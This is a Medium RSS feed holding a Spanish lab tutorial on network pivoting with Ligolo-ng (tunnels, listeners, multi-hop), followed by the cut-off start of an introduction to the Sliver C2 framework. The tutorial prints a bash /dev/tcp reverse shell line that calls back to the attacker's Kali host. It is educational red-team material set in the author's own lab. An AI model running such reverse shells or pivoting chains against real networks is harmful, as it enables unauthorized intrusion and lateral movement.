<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by TheRealCiscoo on Medium]]></title>
        <description><![CDATA[Stories by TheRealCiscoo on Medium]]></description>
        <link>https://medium.com/@therealciscoo?source=rss-1d7e745d04e7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*qlncHFGksXKi1O5H</url>
            <title>Stories by TheRealCiscoo on Medium</title>
            <link>https://medium.com/@therealciscoo?source=rss-1d7e745d04e7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 22:24:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@therealciscoo/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Ligolo-ng: Cómo Romper el Aislamiento de una Red Interna]]></title>
            <link>https://medium.com/@therealciscoo/ligolo-ng-c%C3%B3mo-romper-el-aislamiento-de-una-red-interna-0a1a17b184b4?source=rss-1d7e745d04e7------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a1a17b184b4</guid>
            <category><![CDATA[reverse-shell]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[tunneling]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[pivoting]]></category>
            <dc:creator><![CDATA[TheRealCiscoo]]></dc:creator>
            <pubDate>Tue, 22 Sep 2026 00:44:45 GMT</pubDate>
            <atom:updated>2026-09-22T11:19:56.529Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introducción</h3><p>El pivoting es una técnica que nos permite utilizar un sistema comprometido como punto intermedio para acceder a redes o sistemas a los que normalmente no tendríamos acceso directo.</p><p>Generalmente, se lleva a cabo después de obtener un foothold en un nodo que tiene conectividad tanto con la red desde la que estamos operando como con otra u otras redes a la que no podemos acceder directamente. A partir de ese nodo, podemos utilizar diferentes técnicas de pivoting para alcanzar nuevos sistemas y ampliar nuestra superficie de ataque dentro del entorno.</p><p>Para pivotar entre redes podemos utilizar diferentes técnicas, entre ellas:</p><ul><li>Port Forwarding</li><li>SOCKS Proxy</li><li>SSH Tunneling</li><li>VPN / TUN-based Tunneling</li></ul><p>Estos no son más que mecanismos convencionales que pueden utilizarse para redirigir tráfico a través de una máquina comprometida y alcanzar otros nodos o redes. En el contexto adecuado, prácticamente cualquier mecanismo o tecnología que permita transportar o redireccionar tráfico de red a través de otro nodo puede utilizarse para realizar pivoting.</p><p>En esta ocasión nos centraremos en dos de las técnicas mencionadas anteriormente: <strong>Port Forwarding</strong> y <strong>VPN / TUN-based Tunneling</strong>. Para ponerlas en práctica utilizaremos <strong>Ligolo-ng</strong>, una herramienta que simplifica la creación de túneles y el enrutamiento del tráfico a través de un host comprometido.</p><h3>Herramienta</h3><p><a href="https://github.com/nicocha30/ligolo-ng">GitHub - nicocha30/ligolo-ng: An advanced, yet simple, tunneling/pivoting tool that uses a TUN interface.</a></p><p>Los binarios del proxy y los agentes para los distintos tipos de sistemas operativos los pueden descargar desde: <a href="https://github.com/nicocha30/ligolo-ng/releases">https://github.com/nicocha30/ligolo-ng/releases</a></p><h3>Laboratorio</h3><p>He montado una estructura medianamente compleja para ejemplificar un escenario lo más realista posible. Esta estructura está compuesta por 2 subredes internas, de las cuales solo una tiene conexión con otra red que simula una WAN.</p><p>Esto hace que el escenario sea algo más restrictivo que los típicos laboratorios caseros o CTF, ya que aquí simulamos la posición de un atacante externo que opera desde un C2 en Internet. Desde nuestra posición inicial no podemos ver directamente qué hay detrás del firewall que actúa como router, mientras que los equipos de la red interna (<strong>DMZ</strong>) sí tienen conectividad hacia nuestra red externa (<strong>INTERNET</strong>), tal como podría ocurrir en un entorno real.</p><p>Sin embargo, detrás de la DMZ existe otra red (<strong>INTERNAL_NET</strong>) que no tiene conectividad con Internet. Esto significa que, desde nuestra posición inicial, no podemos establecer conexiones directamente con los equipos de esta red, y estos tampoco pueden establecer conexiones directamente hacia nosotros.</p><p>El laboratorio se compone de los siguientes elementos:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*Hq2yohnFNzsG9UqNY4FD2Q.png" /><figcaption>1. Arquitectura del laboratorio</figcaption></figure><h4>3 redes</h4><ol><li><strong>Red 1<br>Nombre:</strong> INTERNET<br><strong>Rango:</strong> 172.18.45.0/24<br><strong>Descripción:</strong> Simula la red externa desde la que opera el atacante.</li><li><strong>Red 2<br>Nombre:</strong> DMZ <br><strong>Rango:</strong> 192.168.40.0/24<br><strong>Descripción:</strong> Simula una DMZ expuesta a la red externa.</li><li><strong>Red 3<br>Nombre:</strong> INTERNAL_NET<br><strong>Rango:</strong> 10.10.12.0/24<br><strong>Descripción:</strong> Simula una red interna sin conectividad directa con la red externa.</li></ol><h4>1 firewall</h4><ol><li><strong>pfSense<br></strong>Actúa como router entre INTERNET y DMZ.<br><strong>WAN:</strong> 172.18.45.100 → 172.18.45.0/24 (INTERNET)<br><strong>LAN/DMZ:</strong> 192.168.40.101 → 192.168.40.0/24 (DMZ)</li></ol><p>No tiene configuradas reglas de seguridad adicionales más allá de las necesarias para funcionar como router en este laboratorio.</p><p>Si configurar pfSense te resulta complicado, puedes omitirlo y conectar node-1 directamente a la red INTERNET mediante una de sus interfaces.</p><h4>3 nodos</h4><ol><li><strong>Kali<br></strong>eth0: 172.18.45.24<br>Representa al atacante externo.</li><li><strong>node-1<br></strong>ens33: 192.168.40.111 → DMZ<br>ens34: 10.10.12.23 → INTERNAL_NET <br><strong>Servicios:</strong> SSH (22)<br>Actúa como <strong>punto de pivote</strong> entre la DMZ y la red interna.</li><li><strong>node-2<br></strong>ens33: 10.10.12.24 → INTERNAL_NET<br><strong>Servicios:</strong> SSH (22)</li></ol><h3>Objetivo</h3><p>Nuestro objetivo es realizar pivoting hasta alcanzar la red INTERNAL_NET, donde se encuentra node-2. Una vez dentro de esta red, nos conectaremos a node-2 mediante SSH y ejecutaremos una reverse shell que establezca una conexión de vuelta hacia nuestra máquina Kali.</p><h3>Consideración previa</h3><blockquote>Para fines didácticos, asumiremos que conocemos las credenciales de SSH de los nodos involucrados. De esta forma, podemos centrarnos en el proceso de <strong>pivoting y redirección del tráfico</strong>, sin entrar en técnicas de obtención o cracking de credenciales.</blockquote><blockquote>Por otro lado, hemos expuesto el puerto 22 de node-1 mediante <strong>port forwarding</strong> en la configuración de pfSense. De esta forma, cuando nos conectamos al puerto 1222 de la IP WAN del router (172.18.45.100), pfSense redirige la conexión hacia el puerto 22 de node-1 (192.168.40.111), que se encuentra dentro de la DMZ.</blockquote><blockquote>En la práctica, lo que hemos hecho es <strong>publicar hacia la red externa un servicio que originalmente se encontraba dentro de la DMZ</strong>. En un escenario real, este servicio podría ser un servidor web, SSH u otro servicio expuesto que presente alguna vulnerabilidad y nos permita obtener un <em>foothold</em> en node-1. En nuestro laboratorio, simplemente asumiremos que ya disponemos de las credenciales necesarias para acceder mediante SSH.</blockquote><h3>Arquitectura de Ligolo-ng</h3><p>Ligolo-ng utiliza una arquitectura cliente-servidor en la que los clientes, llamados <strong>agentes</strong>, se conectan al servidor, llamado <strong>proxy</strong>. El proxy se ejecuta en nuestra máquina atacante, mientras que el agente se ejecuta en el sistema que hemos comprometido y desde el cual queremos pivotar. Podemos conectar a nuestro proxy la cantidad de agente que necesitemos y así poder pivotar entre múltiples redes.</p><p>Una vez establecida la conexión entre el agente y el proxy, podemos crear túneles que nos permitan enrutar tráfico hacia las redes a las que el agente tiene acceso. Además, Ligolo-ng permite crear <strong>listeners</strong> para redirigir conexiones desde un puerto determinado del nodo pivote hacia otro destino.</p><p>Si esto todavía no te ha quedado muy claro, no te preocupes. Vamos a ponerlo en práctica y, a medida que avancemos, la arquitectura y el funcionamiento de Ligolo-ng irán quedando mucho más claros.</p><h3>Configuración de Ligolo-NG</h3><p>Inicializamos el proxy de Ligolo-ng en nuestra máquina atacante para establecer y gestionar el túnel con el agente desplegado en la red comprometida.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yZTHtC-iE0ROgOsNKNILxQ.png" /><figcaption>2. Inicialización del proxy de Ligolo-ng</figcaption></figure><p>Al iniciar el servidor proxy, observamos que Ligolo-ng utiliza el puerto <strong>11601</strong> para escuchar las conexiones entrantes de los agentes.</p><p>Utilizamos la opción <strong><em>-selfcert</em></strong> para que Ligolo-ng genere automáticamente sus propios certificados TLS y pueda establecer las conexiones de forma cifrada.</p><h3>Ejecución del agente en node-1</h3><p>A continuación, nos conectamos a <strong>node-1</strong> a través del router utilizando el puerto <strong>1222</strong>, obteniendo así un <em>foothold</em> en la máquina desde el cual podremos continuar con las tareas de pivoting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*U0JRIhLD0ZclUZRqX44bgA.png" /><figcaption>3. Obteniendo foothold en node-1</figcaption></figure><p>Una vez obtenido el <em>foothold</em>, transferimos el agente de Ligolo-ng a <strong>node-1</strong>. Para ello, podemos utilizar el método de transferencia de archivo que prefiramos; en este caso, aprovecharemos que disponemos de acceso SSH y utilizaremos <strong>SCP</strong> para transferir el binario a la máquina.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k7C4bQiNER6py3PHduyP3Q.png" /><figcaption>4. Tranferencia del agente a la máquina node-1</figcaption></figure><p>Renombramos el agente para facilitar su identificación y posterior ejecución en <strong>node-1</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*BdKo911q6iYzYVryFIiKiw.png" /><figcaption>5. Renombre del agente</figcaption></figure><p>A continuación, establecemos la conexión del agente con el proxy de Ligolo-ng que se encuentra ejecutándose en nuestra máquina <strong>Kali</strong>, utilizando el puerto <strong>11601</strong>. De esta forma, creamos el túnel entre <strong>node-1</strong> y nuestra máquina atacante, que posteriormente utilizaremos para acceder a las redes internas a las que tiene acceso el agente.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3jKusqyYyF_XVQKChV0ArQ.png" /><figcaption>6. Conexión hacia el proxy</figcaption></figure><h3>Establecimiento de Túnel</h3><p>Una vez conectados al proxy, veremos que se ha establecido una nueva sesión. Sin embargo, tener una sesión activa <strong>no nos proporciona automáticamente un túnel hacia la red </strong><strong>INTERNAL_NET (</strong><strong>10.10.12.0/24)</strong>. La sesión únicamente indica que el agente que se encuentra en la máquina que utilizaremos como pivote ha establecido una conexión con nuestro proxy en Kali.</p><p>A partir de esta sesión podremos crear y gestionar un túnel que nos permita enrutar tráfico hacia las redes a las que el agente tiene acceso.</p><blockquote><strong><em>Nota:</em></strong><em> Algo que puede llegar a confundirte es que la IP que vemos como origen de la sesión es la del firewall/router (</em><em>172.18.45.100) y no la IP de </em><em>node-1 (</em><em>192.168.40.111).</em></blockquote><p>Esto ocurre porque node-1 se encuentra dentro de la DMZ y utiliza el firewall/router como <strong>gateway</strong> para comunicarse con nuestra red WAN (172.18.45.0/24). Al salir de la DMZ, el tráfico pasa por pfSense y, debido a la traducción de direcciones (NAT), nuestra Kali recibe la conexión con 172.18.45.100 como dirección de origen. Sin embargo, esto no afecta a nuestra operación, ya que node-1 puede establecer comunicación con nuestro proxy. Para nosotros, lo importante en este punto es que la sesión entre el agente y el proxy se encuentre establecida correctamente.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*siiRwMQxKqcBwPCpOa2h6A.png" /><figcaption>7. Sesión establecida con la IP origen del firewall/router</figcaption></figure><h3>Creación de Tuneles</h3><p>Una vez establecida la sesión con el agente, accedemos a ella desde el proxy y creamos un túnel. Esto nos permitirá enrutar el tráfico desde nuestra máquina atacante hacia las redes internas a las que <strong>node-1</strong> tiene acceso.</p><p>Con el comando session listamos las sesiones actualmente disponibles. Utilizamos las flechas <strong>↑/↓</strong> del teclado para desplazarnos hasta la sesión que queremos utilizar y pulsamos <strong>Enter</strong> para seleccionarla.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Aik1yQZHAidcfb0gUlC-Mg.png" /><figcaption>8. Selección de sesión</figcaption></figure><p>Una vez dentro de la sesión, utilizamos el comando <strong>ifcreate --name toInternalNet</strong> para crear una interfaz de red con el nombre que queramos. En mi caso, prefiero utilizar la convención <strong>to + nombre_de_la_red_que_quiero_alcanzar</strong>, ya que permite identificar rápidamente hacia qué red está destinado el túnel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h7g_n1CM3L_x4jhnR3IZ4Q.png" /><figcaption>9. Creación de interfaz</figcaption></figure><p>Esta interfaz se crea en nuestra máquina <strong>Kali</strong> y será utilizada como punto de entrada para enrutar nuestro tráfico hacia la red <strong>INTERNAL_NET</strong> a través del túnel establecido con <strong>node-1</strong>.</p><p>No debemos preocuparnos porque estas interfaces no tengan una dirección IP asignada. Se trata de <strong>interfaces TUN</strong>, diseñadas para trabajar a nivel de capa 3 y transportar tráfico IP mediante software, a diferencia de las interfaces Ethernet convencionales.</p><p>Puedes consultar más información sobre las interfaces TUN/TAP <a href="https://en.wikipedia.org/wiki/TUN/TAP">aquí</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Pyp7NbzOLtMjTKJnKKssQ.png" /><figcaption>10. Visualización de interfaz creada</figcaption></figure><p>Ahora utilizamos el comando <strong>autoroute --interface toInternalNet</strong> para seleccionar la interfaz a través de la cual queremos enrutar el tráfico. A continuación, seleccionamos la red que queremos alcanzar; en nuestro caso, <strong>10.10.12.0/24 (INTERNAL_NET)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8YT-UoHqmjU8kVJyOx-D3w.png" /><figcaption>11. Selección de red objetivo</figcaption></figure><p>A continuación, Ligolo-ng nos preguntará si queremos inicializar el túnel. Seleccionaremos <strong>No</strong>, ya que antes queremos comprobar que efectivamente no tenemos alcance a la red <strong>10.10.12.0/24 (INTERNAL_NET)</strong>.</p><p>Para ello, intentamos hacer <em>ping</em> a una de las direcciones IP pertenecientes a esta red y comprobamos que la comunicación falla, confirmando que todavía no tenemos conectividad con <strong>INTERNAL_NET</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*itT3ZHAt_p95wkPGxpQMpg.png" /><figcaption>12. Prueba fallida de trazas ICMP</figcaption></figure><p>Ahora que hemos comprobado que no tenemos conectividad con la red objetivo, volvemos a la misma sesión y ejecutamos el comando <strong>start --tun toInternalNet</strong> para iniciar el túnel que hemos creado previamente.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*H8Mm5CREPZK0_W3Vn4Dx5A.png" /><figcaption>13. Iniciando el túnel</figcaption></figure><p>Ahora, al volver a realizar un <em>ping</em> a cualquier dirección IP de la red <strong>10.10.12.0/24 (INTERNAL_NET)</strong>, observamos que los paquetes <strong>ICMP</strong> se transmiten correctamente. Esto confirma que el túnel está funcionando y que ahora tenemos conectividad con la red <strong>INTERNAL_NET</strong> a través de <strong>node-1</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gV81PvhKTy-8H7uxmnlA3Q.png" /><figcaption>14. Prueba satisfactoria de trazas ICMP</figcaption></figure><p>También podríamos repetir estos mismos pasos para obtener acceso a la red <strong>DMZ</strong> completa. Actualmente, nuestro único punto de acceso a esta red es el servicio <strong>SSH expuesto en el puerto 1222 del router</strong>, que nos permite acceder únicamente a <strong>node-2</strong>.</p><p>Aunque en este laboratorio no necesitamos alcanzar la DMZ completa para conseguir el objetivo, lo dejo como ejercicio: configurad el pivoting necesario para conseguir conectividad con la IP <strong>192.168.40.101</strong>, correspondiente al <strong>firewall/router</strong>.</p><h3>Conexión SSH hacia node-2</h3><p>Una vez establecida la conectividad con <strong>INTERNAL_NET</strong>, podemos interactuar con los dispositivos de esta red como si tuviéramos acceso directo a ella. Entre otras cosas, podemos:</p><ul><li>Realizar escaneos con <strong>Nmap</strong>.</li><li>Enumerar los dispositivos disponibles.</li><li>Identificar los puertos y servicios expuestos.</li><li>Acceder a paneles de administración internos.</li><li>Conectarnos mediante <strong>SSH</strong> a <strong>node-2</strong> y a otros dispositivos accesibles.</li></ul><p>Con el túnel funcionando, ya podemos comenzar con la enumeración de <strong>INTERNAL_NET</strong>. Así que, conectémonos a <strong>node-2</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ELiUM5cSRpYH2c43VLihCQ.png" /><figcaption>15. Conexión SSH hacia node-2</figcaption></figure><p>Hemos cumplido uno de los objetivos, pero todavía nos falta conseguir una <strong>reverse shell desde </strong><strong>node-2 hacia nuestra máquina Kali</strong>.</p><p>Para ello, utilizaremos <a href="https://github.com/brightio/penelope">Penelope</a> para poner nuestra máquina <strong>Kali</strong> a la escucha en el <strong>puerto 443</strong> y recibir la conexión entrante desde node-2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GSArJd70fPectzFpnGkAfA.png" /><figcaption>16. Puesta en escucha con Penelope</figcaption></figure><p>Utilizando una reverse shell generada en <a href="https://www.revshells.com/">revshells.com</a>:</p><pre>/bin/bash -i &gt;&amp; /dev/tcp/172.18.45.24/443 0&gt;&amp;1</pre><p>La ejecutamos en <strong>node-2</strong>, esperando recibir la conexión en nuestra máquina <strong>Kali</strong>. Sin embargo, observamos que la conexión es rechazada, ya que <strong>node-2 no tiene una ruta directa hacia la red </strong><strong>172.18.45.0/24</strong> donde se encuentra nuestra máquina atacante.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*Kg-kxTkquWKgQ4AWEJzrgA.png" /><figcaption>17. Conexión fallida de reverse shell</figcaption></figure><p>Esto sucede porque, aunque con la estructura que hemos montado hemos conseguido <strong>alcanzar la red </strong><strong>INTERNAL_NET</strong>, el tráfico es unidireccional desde el punto de vista del enrutamiento: nuestra máquina <strong>Kali</strong> tiene una ruta hacia INTERNAL_NET, pero los dispositivos de esta red no tienen una ruta de retorno hacia nuestra red atacante <strong>172.18.45.0/24</strong>.</p><p>Por este motivo, <strong>node-2</strong> puede comunicarse con los destinos que alcanzamos mediante el túnel, pero no sabe cómo enrutar la conexión de vuelta hacia nuestra máquina <strong>Kali</strong>.</p><h3>Teoría de Port Forwarding</h3><p>Para solucionar el problema descrito anteriormente, nos apoyaremos en otra técnica denominada <strong>Port Forwarding</strong> o <strong>reenvío de puertos</strong>, que permite tomar el tráfico recibido en una interfaz y puerto específicos y redirigirlo hacia otro nodo y puerto determinados.</p><p>Esto es conceptualmente similar a la configuración que hice en el firewall para exponer el puerto <strong>22 de </strong><strong>node-1</strong> hacia la red pública. Sin embargo, en este caso no necesitamos realizar esta configuración manualmente en ningún equipo, ya que <strong>Ligolo-ng incorpora esta funcionalidad mediante los </strong><strong>Listeners</strong>, que nos permiten crear un punto de escucha en el agente y redirigir las conexiones hacia nuestra máquina atacante.</p><p>Al final el esquema se vería de la siguiente forma:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-3rsybk8P_axneSFP8P4Dg.png" /><figcaption>18. Esquema de port forwarding</figcaption></figure><p>En este caso, <strong>node-2</strong> establecerá la conexión contra el puerto <strong>4443 de </strong><strong>node-1</strong>. El <em>Listener</em> de Ligolo-ng se encargará de recibir el tráfico en dicho puerto y redirigirlo hacia el <strong>puerto 443 de nuestra máquina atacante Kali</strong>.</p><p>De esta forma, node-2 únicamente necesita tener conectividad con node-1, mientras que Ligolo-ng se encarga de transportar la conexión hasta nuestra máquina atacante.</p><h3>Estableciendo Una Conexión Desde node-2 Hacia Kali</h3><p>Para realizar esta configuración, primero debemos identificar la dirección IP de <strong>node-1</strong> dentro de la red <strong>INTERNAL_NET</strong>.</p><p>Desde la sesión del agente, ejecutamos el comando <strong>ifconfig</strong>, que nos permite consultar las interfaces de red disponibles en <strong>node-1</strong> junto con su configuración. De esta forma, podremos determinar qué dirección IP debemos utilizar para establecer el <em>Listener</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*XyN_QNh_Qn1wn66jJdCvYA.png" /><figcaption>19. Listado de interfaces y configuración de red de node-1</figcaption></figure><p>Ahora creamos el <em>Listener</em> de Ligolo-ng utilizando el comando <strong>listener_add</strong>. Este será el encargado de escuchar las conexiones entrantes en <strong>node-1</strong> y redirigirlas hacia nuestra máquina atacante <strong>Kali</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H1DqkkPo9xXYLjNg71TSvQ.png" /><figcaption>20. Creación y listado de listeners</figcaption></figure><p>Ahora volvemos a ejecutar la <strong>reverse shell</strong> desde node-2, pero esta vez no apuntamos directamente hacia la dirección IP de nuestra máquina <strong>Kali</strong>. En su lugar, utilizamos la dirección IP de <strong>node-1</strong> dentro de INTERNAL_NET y el puerto <strong>4443</strong>, donde configuramos previamente el <em>Listener</em>.</p><p>De esta forma, node-2 establece la conexión con node-1, y Ligolo-ng se encarga de redirigirla hacia el <strong>puerto 443 de Kali</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gpm-FZAgelhZMaODs-jtTw.png" /><figcaption>21. Conexión reverse shell satisfactoria</figcaption></figure><blockquote>¡¡Y CON ESO OBTENEMOS UNA REVERSE SHELL DE FORMA SATISFACTORIA EN NUESTRA MÁQUINA KALI!!</blockquote><h3>Pivoting Múltiple</h3><p>Pensaba tratar este tema en otro post, sin embargo, prefiero dejar una guía lo más completa posible y accesible desde un solo recurso.</p><p>Así que he modificado levemente la estructura del laboratorio y he unido una red más llamada WORKSTATIONs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TRhu0dQRJR-5vekoBags0g.png" /><figcaption>22. Nueva arquitectura del laboratorio</figcaption></figure><p>En esta ocasión necesitamos transferir y ejecutar el agente en node-2, tal como hicimos anteriormente con node-1.</p><p>Sin embargo, ahora nos encontramos con una diferencia importante: como vimos anteriormente, node-2 pertenece a la red INTERNAL_NET (10.10.12.0/24) y no tiene conectividad directa con nuestra máquina Kali. Por este motivo, el agente de node-2 no puede conectarse directamente al puerto 11601, donde está escuchando el proxy de Ligolo-ng en Kali.</p><p>Para solucionar este problema utilizaremos nuevamente <strong>port forwarding</strong>, pero esta vez aprovecharemos node-1 como punto intermedio. Configuraremos en node-1 un listener que escuche en un puerto accesible desde node-2 y redirija las conexiones hacia el puerto 11601 de nuestra Kali.</p><p>De esta manera, cuando el agente de node-2 se conecte al puerto de node-1, el tráfico seguirá el siguiente recorrido:</p><p>node-2 → node-1 → Kali:11601</p><p>Así conseguimos que el agente de node-2 pueda establecer una sesión con nuestro proxy aunque no exista conectividad directa entre INTERNAL_NET y Kali.</p><h4>Configuración de la Redirección de Puerto Hacia el Proxy</h4><p>Para conseguirlo, creamos un <em>listener</em> como este, de forma similar a la redirección que realizamos anteriormente para la reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*opcybKiXfFPVrAJQ8WVlBg.png" /><figcaption>23. Creación de redirección de puerto desde node-1 hacia el proxy</figcaption></figure><h4>Ejecución y Conexión del Agente</h4><p>Ejecutamos el agente de Ligolo-ng en node-2 y hacemos que se conecte al puerto 30001 de node-1, utilizando la IP 10.10.12.23.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FPT-k-0d8leqdGHlBedZHQ.png" /><figcaption>24. Conexión del agente a través de la redirección de puerto</figcaption></figure><p>Al ejecutar el agente, veremos cómo se establece la conexión. Si volvemos a nuestro proxy, podremos comprobar que efectivamente se ha establecido una nueva sesión correspondiente a node-2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_es5uoI447RpyMBnVxRYuw.png" /><figcaption>25. Verificación de la conexión y creación de la sesión</figcaption></figure><p>Ahora crearemos un nuevo túnel hacia la red WORKSTATIONS (192.168.20.0/24), utilizando la sesión de node-2 que acabamos de establecer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wbsE0eg-RO8gbs6QzXNEZA.png" /><figcaption>26. Creación del túnel hacia la red WORKSTATIONs</figcaption></figure><h4>Prueba de Conectividad</h4><p>Enviamos paquetes ICMP para validar la conectividad y comprobamos que efectivamente podemos alcanzar equipos dentro de la red.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*gHQ3S8VDHlPs6ETjnq9u0g.png" /><figcaption>27. Prueba de conectividad con la red WORKSTATIONs</figcaption></figure><h3>Siguiente Paso</h3><p>Pivotar a través de múltiples redes se vuelve mucho más sencillo una vez que entiendes el proceso. A partir de ahí, cuando añadimos nuevos saltos, básicamente repetimos el mismo flujo:</p><ul><li>Transferir el agente al siguiente nodo.</li><li>Crear el <em>port forwarding</em> necesario para que el agente pueda comunicarse con nuestro proxy. <strong><em>A medida que añadimos nuevos pivotes, la cadena de redirecciones se hace más larga.</em></strong></li><li>Conectar el agente con el proxy.</li><li>Crear o utilizar la interfaz TUN necesaria para el túnel.</li><li>Crear el túnel hacia la nueva red.</li></ul><p>Y recuerda: si necesitas recibir una conexión desde un equipo interno hacia algún puerto de nuestra máquina de ataque, tendremos que crear el <strong>port forwarding</strong> necesario para transportar ese tráfico de vuelta hasta Kali.</p><h3>Despedida</h3><p>Hasta aquí el post de hoy, hemos logrado los siguientes objetivos:</p><ul><li>Comprender el concepto de pivoting.</li><li>Construir un escenario de red segmentado.</li><li>Obtener acceso a un primer punto de pivote.</li><li>Desplegar y utilizar Ligolo-ng.</li><li>Establecer múltiples sesiones de agentes.</li><li>Realizar pivoting hacia redes que no eran accesibles desde internet.</li><li>Encadenar múltiples pivotes.</li><li>Utilizar port forwarding para transportar conexiones entre diferentes segmentos.</li><li>Crear túneles hacia redes internas y validar la conectividad mediante ICMP.</li><li>Comprender el concepto de multi-hop pivoting.</li><li>Entender la diferencia entre establecer una sesión y crear un túnel.</li><li>Comprender el flujo bidireccional del pivoting.</li></ul><p>Espero que les haya gustado y sobretodo que hayan aprendido mucho. Les agradecería que dejaran su like (Clap) para motivarme a escribir más seguido temas como este.</p><h3>Referencia</h3><ul><li><a href="https://www.hackingarticles.in/a-detailed-guide-on-ligolo-ng/">A Detailed Guide on Ligolo-Ng</a></li><li><a href="https://securelayer7.net/learn/lateral-movement/what-is-ligolo-ng">What is ligolo-ng?</a></li><li><a href="https://en.wikipedia.org/wiki/TUN/TAP">TUN/TAP - Wikipedia</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a1a17b184b4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introducción a Sliver C2]]></title>
            <link>https://medium.com/@therealciscoo/introducci%C3%B3n-a-sliver-c2-7147bcd9d670?source=rss-1d7e745d04e7------2</link>
            <guid isPermaLink="false">https://medium.com/p/7147bcd9d670</guid>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[command-and-control]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[TheRealCiscoo]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 00:47:33 GMT</pubDate>
            <atom:updated>2026-08-18T00:47:33.364Z</atom:updated>
            <content:encoded><![CDATA[<p>Sliver es un framework de <strong>Command and Control </strong>(C2) de código abierto utilizado en operaciones de Red Team y simulaciones de adversarios. Permite gestionar implantes (llamados <strong>agents</strong>) desplegados en sistemas comprometidos, ejecutar comandos, transferir archivos y realizar acciones de post-explotación de forma remota.</p><h3>Glosario</h3><p>Los siguientes conceptos te ayudarán a entender más adelante las explicaciones que se tratarán en este post:</p><ul><li><strong>Command and Control: </strong>Es la infraestructura que le permite a un operador contactar con los sistemas o la red de la víctima.</li><li><strong>Server: </strong>Es el componente central de Sliver que permite al operador administrar los agentes, las sesiones y las comunicaciones.</li><li><strong>Client: </strong>Es la interfaz que utiliza el operador para conectarse e interactuar con el <strong>Server</strong>.</li><li><strong>Agent:</strong> Es el programa que se ejecuta en el sistema objetivo y establece comunicación con el servidor C2. A este se le conoce como <strong>implante (<em>Implant</em>)</strong> en Sliver.</li><li><strong>Session:</strong> Es la conexión interactiva entre un implante y el servidor que permite al operador ejecutar acciones en el sistema de la víctima.</li><li><strong>Beacon:</strong> Es un tipo de implante que mantiene comunicaciones periódicas con el servidor. Cada vez que el operador ejecuta un comando este no se envía directamente a la máquina víctima para ser ejecutado, sino que se añade a una cola de ejecución (<strong><em>Pooling</em></strong>) y cuando el Beacon consulta al servidor C2 obtiene esa cola de tareas y las ejecuta en orden. Suele utilizarse para evadir sistemas de detección.</li><li><strong>Listener: </strong>Son los servicios que escuchan las conexiones entrantes de los <strong>implantes </strong>(<strong><em>implants</em></strong>) y que posteriormente establecen una <strong>sesión (<em>Session</em>) </strong>en el <strong>servidor (<em>Server</em>)</strong>.</li><li><strong>Protocolos:</strong> Sliver, así como otros C2, utiliza una serie de protocolos para el envío y la recepción de datos. Entre los protocolos utilizados por Sliver se encuentran: <strong><em>HTTP/HTTPS</em></strong>, <strong><em>mTLS</em></strong><em> </em>y <strong><em>DNS</em></strong>.</li></ul><h3>Instalación</h3><p>Sliver viene pre-instalado en distribuciones de Linux como Kali, sin embargo, si quieres instalarlo desde cero, puedes ver el repositorio de Sliver (<a href="https://github.com/bishopfox/sliver"><strong><em>https://github.com/bishopfox/sliver</em></strong></a>), allí podemos encontrar la guía de instalación que resulta ser 